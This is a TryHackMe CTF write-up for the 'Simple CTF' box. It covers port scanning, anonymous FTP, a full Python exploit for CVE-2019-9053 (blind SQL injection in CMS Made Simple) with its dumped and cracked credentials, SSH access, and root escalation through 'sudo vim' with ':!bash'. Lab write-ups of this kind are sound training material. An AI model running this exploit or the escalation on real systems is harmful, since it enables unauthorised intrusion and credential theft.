Simple CTF | TryHackMe
Overview
Title | Simple CTF |
---|---|
Difficulty | Easy |
Machine | Linux |
Description | Beginner level ctf |
Maker |
In this easy box we will exploit an unauthenticated blind SQL injection on a vulnerable instance of CMS Made Simple
and gain credentials of an SSH user. From there we will read the root flag by privilege escalation using vim.
Used tools
- nmap
- dirsearch
- searchsploit
- CVE-2019-9053
Wordlists
Enumeration
First start with quick nmap port scan
nmap -p- -T4 --min-rate 10000 10.10.38.40 -vv -oA nmap/ports
Starting Nmap 7.80 ( https://nmap.org ) at 2023-01-14 10:25 IST
Nmap scan report for 10.10.38.40
Host is up (0.47s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
2222/tcp open EtherNetIP-1
Nmap done: 1 IP address (1 host up) scanned in 213.02 seconds
Now further scan only the open ports identified from above.
nmap -p 21,80,2222 -sC -sV 10.10.38.40 -vv -oA nmap/service
# Nmap 7.80 scan initiated Sat Jan 14 10:29:32 2023 as: nmap -p 21,80,2222 -sC -sV -vv -oA nmap/service 10.10.38.40
Nmap scan report for 10.10.38.40
Host is up, received syn-ack (0.55s latency).
Scanned at 2023-01-14 10:29:33 IST for 42s
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Cant get directory listing: TIMEOUT
| ftp-syst:
| STAT:
| FTP server status:
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp open http syn-ack Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 2 disallowed entries
|_/ /openemr-5_0_1_3
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
2222/tcp open ssh syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCj5RwZ5K4QU12jUD81IxGPdEmWFigjRwFNM2pVBCiIPWiMb+R82pdw5dQPFY0JjjicSysFN3pl8ea2L8acocd/7zWke6ce50tpHaDs8OdBYLfpkh+OzAsDwVWSslgKQ7rbi/ck1FF1LIgY7UQdo5FWiTMap7vFnsT/WHL3HcG5Q+el4glnO4xfMMvbRar5WZd4N0ZmcwORyXrEKvulWTOBLcoMGui95Xy7XKCkvpS9RCpJgsuNZ/oau9cdRs0gDoDLTW4S7OI9Nl5obm433k+7YwFeoLnuZnCzegEhgq/bpMo+fXTb/4ILI5bJHJQItH2Ae26iMhJjlFsMqQw0FzLf
| 256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBM6Q8K/lDR5QuGRzgfrQSDPYBEBcJ+/2YolisuiGuNIF+1FPOweJy9esTtstZkG3LPhwRDggCp4BP+Gmc92I3eY=
| 256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ2I73yryK/Q6UFyvBBMUJEfznlIdBXfnrEqQ3lWdymK
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan 14 10:30:15 2023 -- 1 IP address (1 host up) scanned in 43.25 seconds
3 TCP ports are open:
- 21/tcp ->
FTP
- 80/tcp ->
HTTP
- 2222/tcp ->
SSH
Port 21 - FTP (vsFTPd 3.0.3)
FTP Anonymous login is enabled and we can login using either ftp
or anonymous
user without any password. Inside the server there was a directory named pub
and inside that a file, ForMitch.txt
.
ftp ftp@10.10.38.40
Connected to 10.10.38.40.
220 (vsFTPd 3.0.3)
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
drwxr-xr-x 2 ftp ftp 4096 Aug 17 2019 pub
ftp> cd pub
ftp> ls
-rw-r--r-- 1 ftp ftp 166 Aug 17 2019 ForMitch.txt
ftp> get ForMitch.txt
100% |*************************************************| 166 3.51 MiB/s 00:00 ETA
166 bytes received in 00:00 (0.79 KiB/s)
ftp>
cat ForMitch.txt
Dammit man... you'te the worst dev i've seen. You set the same passfor the system user,
and the password is so weak... i cracked it in seconds. Gosh... what a mess!
Port 80 - HTTP (Apache 2.4.18 Ubuntu default)
This is just the default page of apache.
Interestingly there’s a robots.txt
file inside
the server.
User-agent: *
Disallow: /
Disallow: /openemr-5_0_1_3
But /openemr-5_0_1_2
is a rabbit hole. So let’s move on.
Directory Listing (dirsearch - common.txt)
dirsearch -u http://10.10.38.40/ --wordlist /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -o directory-listing
_|. _ _ _ _ _ _|_ v0.4.2.7
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 4712
Output File: /home/h4r1337/ctf/thm/simple-ctf/reports/http_10.10.38.40/__23-01-14_11-02-37.txt
Target: http://10.10.38.40/
[11:02:37] Starting:
[11:03:35] 200 - 929B - /robots.txt
[11:03:37] 403 - 299B - /server-status
[11:03:38] 301 - 311B - /simple -> http://10.10.38.40/simple/
Task Completed
/simple/
- CMS Made Simple (Version 2.2.8)
There’s a cms running inside the /simple/
directory.
Searchsploit Output:
searchsploit cms made simple 2.2.8
------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------ ---------------------------------
CMS Made Simple < 2.2.10 - SQL Injection | php/webapps/46635.py
------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
searchsploit -m 46635.py
Alright we got an exploit. We can save a copy of it on the current working directory
using the -m
flag of searchsploit
. We will check it out later.
Port 2222 SSH - (OpenSSH 7.2p2)
- Searchsploit Results:
searchsploit openssh 7.2p2
------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------- ---------------------------------
OpenSSH 2.3 < 7.7 - Username Enumeration | linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC) | linux/remote/45210.py
'OpenSSH 7.2p2 - Username Enumeration | linux/remote/40136.py'
OpenSSH < 7.4 - UsePrivilegeSeparation Disabled Forwarded | linux/local/40962.txt
OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading | linux/remote/40963.txt
OpenSSH < 7.7 - User Enumeration (2) | linux/remote/45939.py
'OpenSSHd 7.2p2 - Username Enumeration | linux/remote/40113.txt'
------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Nothing interesting in here. Username probably is mitch
from the ForMitch.txt
file.
So we don’t have to use these exploits.
Exploitation
Unauthenticated SQL Injection ( CVE-2019-9053 CMS Made Simple)
An issue was discovered in CMS Made Simple 2.2.8. It is possible with the News module, through a crafted URL, to achieve unauthenticated blind time-based SQL injection via the
m1_idlist
parameter.
Exploit used (modified a bit to support python3): You can download the original from here
#!/usr/bin/python3
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Date: 30-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : CVE-2019-9053
import requests
import time
import optparse
import hashlib
parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)
options, args = parser.parse_args()
if not options.url:
print("[+] Specify an url target")
print("[+] Example usage (no cracking password): exploit.py -u http://target-uri")
print("[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist")
print("[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based.")
exit()
url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 1
db_name = ""
output = ""
email = ""
salt = ''
wordlist = ""
if options.wordlist:
wordlist += options.wordlist
def crack_password():
global password
global output
global wordlist
global salt
dict = open(wordlist)
for line in dict.readlines():
line = line.replace("\n", "")
beautify_print_try(line)
if hashlib.md5(str(salt) + line).hexdigest() == password:
output += "\n[+] Password cracked: " + line
break
dict.close()
def beautify_print_try(value):
global output
print("\033c")
print(output)
print('[*] Try: ' + value)
def beautify_print():
global output
print("\033c")
print(output)
def dump_salt():
global flag
global salt
global output
ord_salt = ""
ord_salt_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_salt = salt + dictionary[i]
ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_salt)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
salt = temp_salt
ord_salt = ord_salt_temp
flag = True
output += '\n[+] Salt for password found: ' + salt
def dump_password():
global flag
global password
global output
ord_password = ""
ord_password_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_password = password + dictionary[i]
ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_password)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
password = temp_password
ord_password = ord_password_temp
flag = True
output += '\n[+] Password found: ' + password
def dump_username():
global flag
global db_name
global output
ord_db_name = ""
ord_db_name_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_db_name = db_name + dictionary[i]
ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_db_name)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
db_name = temp_db_name
ord_db_name = ord_db_name_temp
output += '\n[+] Username found: ' + db_name
flag = True
def dump_email():
global flag
global email
global output
ord_email = ""
ord_email_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_email = email + dictionary[i]
ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_email)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
email = temp_email
ord_email = ord_email_temp
output += '\n[+] Email found: ' + email
flag = True
dump_salt()
dump_username()
dump_email()
dump_password()
if options.cracking:
print("[*] Now try to crack password")
crack_password()
beautify_print()
We can crack the admin password using this exploit.
python3.9 sql-injection.py -u http://10.10.38.40/simple/ --crack -w /usr/share/wordlists/rockyou.txt
[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: secret
Now we can use this credentials to SSH into the machine.
ssh mitch@10.10.38.40 -p 2222
The authenticity of host '[10.10.38.40]:2222 ([10.10.38.40]:2222)' can't be established.
ED25519 key fingerprint is SHA256:iq4f0XcnA5nnPNAufEqOpvTbO8dOJPcHGgmeABEdQ5g.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.38.40]:2222' (ED25519) to the list of known hosts.
mitch@10.10.38.40's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-58-generic i686)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
Last login: Mon Aug 19 18:13:41 2019 from 192.168.0.190
$ ls
user.txt
$ cat user.txt
******************
Privilege Escalation
Local Enumeration
First things first:
mitch@Machine:~$ whoami
mitch
mitch@Machine:~$ id
uid=1001(mitch) gid=1001(mitch) groups=1001(mitch)
mitch@Machine:~$ uname -a
Linux Machine 4.15.0-58-generic #64~16.04.1-Ubuntu SMP Wed Aug 7 14:09:34 UTC 2019 i686 i686 i686 GNU/Linux
Check for the list of privileged commands for user:
mitch@Machine:~$ sudo -l
User mitch may run the following commands on Machine:
(root) NOPASSWD: /usr/bin/vim
Vim for the rescue.
Privilege Escalation Using vim
Since the user does have root privilege to run vim
, we can use vim
to escalate the privilege.
mitch@Machine:~$ sudo vim
Now inside vim enter this command:
:!bash
This will spawn us the root shell.
Conclusion
This was a good beginner level box. I got to know CVE-2019-9053
for the first time.